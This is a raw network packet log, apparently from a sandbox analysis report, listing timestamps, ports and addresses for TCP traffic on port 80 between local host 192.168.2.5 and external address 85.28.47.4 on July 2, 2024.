Jul 2, 2024 04:12:07.901179075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901180983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901194096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901196957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901211023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901221991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901226044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901237965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901242018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901247025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901267052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901294947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901329041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901340008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901356936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901369095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901375055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901386976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901396990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901398897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901417971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901424885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901432037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901448011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901451111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901472092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901510000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901524067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901535034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901551962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901560068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901572943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901577950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901587963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901592970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901606083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901617050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901631117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901638031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901640892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901653051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901669025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901679039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901684046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901694059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901705027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901721954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901722908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901727915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901737928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901750088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901760101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901765108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901779890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901787043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901796103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901798964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901813984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901814938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901829958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901834965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901848078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901860952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901869059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901879072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901901007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901907921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901921988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901925087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901936054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901947975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901947975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901951075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901968956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901978970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901989937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901993036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902004957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902014971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902021885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902026892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902036905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902055979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902055979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902072906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902075052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902091026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902108908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902117968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902126074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902142048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902149916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902159929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902177095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902189970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902194023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902213097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902242899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902385950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902399063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902412891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902424097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902427912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902436972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902445078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902451038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902462006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902470112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902478933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902488947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902494907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902510881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902518988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902524948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902539015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902544022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902556896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902561903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902580023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902582884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902590990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902609110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902610064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902616024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902631998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902640104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902642012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902647972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902663946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902676105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902686119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902686119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902694941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902697086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902709961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902712107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902726889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902729988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902744055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902760029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902760029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902776957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902776957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902787924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902806044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902813911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902815104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902829885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902834892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902848005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902851105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902864933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902874947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902875900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902893066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902906895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902906895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902925014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.902930021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902942896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.902971983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990641117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990673065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990694046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990709066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990722895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990727901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990741014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990744114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990768909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990772009 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990783930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990787983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990802050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990816116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990817070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990824938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990834951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990844965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990863085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990863085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990870953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990876913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990883112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990905046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990912914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990916014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990931034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990941048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990947008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990967035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990971088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990978003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.990981102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.990998030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991005898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991010904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991025925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991031885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991031885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991043091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991051912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991058111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991064072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991081953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991090059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991097927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991101980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991118908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991122007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991132975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991142035 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991148949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991149902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991169930 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991175890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991183996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991199970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991214991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991219044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991234064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991236925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991247892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991252899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991266012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991276979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991283894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991283894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991295099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991305113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991311073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991316080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991327047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991328001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991345882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991355896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991365910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991365910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991378069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991380930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991393089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991403103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991415977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991421938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991426945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991441011 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991447926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991450071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991461992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991466045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991481066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991486073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991497993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991511106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991523027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991523027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991533041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991533995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991544008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991549969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991565943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991569042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991584063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991585016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991597891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991600037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991616011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991620064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991630077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991646051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991651058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991651058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991660118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991661072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991677046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991679907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991693974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991698980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991713047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991717100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991730928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991733074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991746902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991751909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991760969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991761923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991780996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991785049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991792917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991795063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991811037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991816044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991827011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991837978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991846085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991846085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991863012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991866112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991868973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991877079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991894960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991904020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991914034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991925001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991930962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991941929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991950035 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991959095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991974115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.991981030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.991991997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992002010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992008924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992022991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992023945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992038012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992050886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992055893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992065907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992074013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992074013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992090940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992098093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992103100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992121935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992131948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992131948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992151022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992156029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992166996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992172003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992178917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992192984 CEST	49704	80	192.168.2.5	85.28.47.4
